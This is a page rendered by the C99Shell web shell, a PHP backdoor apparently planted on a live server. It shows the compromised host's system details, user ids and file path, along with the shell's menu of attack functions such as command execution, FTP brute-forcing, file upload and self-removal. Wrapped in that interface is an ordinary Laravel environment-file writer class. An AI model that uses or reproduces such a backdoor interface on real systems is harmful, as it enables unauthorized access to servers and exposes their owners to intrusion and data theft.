!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/dacoto/laravel-setenv/src/Workers/   drwxr-xr-x
Free 28.35 GB of 117.98 GB (24.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SetEnvWriter.php (2.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
dacoto\SetEnv\Workers;

use 
dacoto\SetEnv\Contracts\SetEnvFormatter as SetEnvFormatterContract;
use 
dacoto\SetEnv\Exceptions\UnableWriteToFileException;

class 
SetEnvWriter implements \dacoto\SetEnv\Contracts\SetEnvWriter
{
    protected 
$buffer;
    protected 
SetEnvFormatterContract $formatter;

    public function 
__construct(SetEnvFormatterContract $formatter)
    {
        
$this->formatter $formatter;
    }

    public function 
setBuffer(string $content): SetEnvWriter
    
{
        if (!empty(
$content)) {
            
$content rtrim((string) $content).PHP_EOL;
        }
        
$this->buffer $content;
        return 
$this;
    }

    public function 
appendEmptyLine(): SetEnvWriter
    
{
        return 
$this->appendLine();
    }

    protected function 
appendLine($text null): SetEnvWriter
    
{
        
$this->buffer .= $text.PHP_EOL;
        return 
$this;
    }

    public function 
appendCommentLine(string $comment): SetEnvWriter
    
{
        return 
$this->appendLine('# '.$comment);
    }

    public function 
appendSetter(string $keystring $value nullstring $comment nullbool $export false): SetEnvWriter
    
{
        
$line $this->formatter->formatSetterLine($key, (string) $value$comment$export);

        return 
$this->appendLine($line);
    }

    public function 
updateSetter(string $keystring $value nullstring $comment nullbool $export false): SetEnvWriter
    
{
        
$pattern "/^(export\h)?\h*{$key}=.*/m";
        
$line $this->formatter->formatSetterLine($key, (string) $value$comment$export);
        
$this->buffer preg_replace_callback($pattern, static function () use ($line) {
            return 
$line;
        }, 
$this->buffer);

        return 
$this;
    }

    public function 
deleteSetter(string $key): object
    
{
        
$pattern "/^(export\h)?\h*{$key}=.*\n/m";
        
$this->buffer preg_replace($pattern''$this->buffer);

        return 
$this;
    }

    
/**
     * @throws UnableWriteToFileException
     */
    
public function save(string $filePath): SetEnvWriter
    
{
        
$this->ensureFileIsWritable($filePath);
        
file_put_contents($filePath$this->buffer);
        return 
$this;
    }

    
/**
     * @throws UnableWriteToFileException
     */
    
protected function ensureFileIsWritable($filePath): void
    
{
        if ((
is_file($filePath) && !is_writable($filePath)) || (!is_file($filePath) && !is_writable(dirname($filePath)))) {
            throw new 
UnableWriteToFileException(sprintf('Unable to write to the file at %s.'$filePath));
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--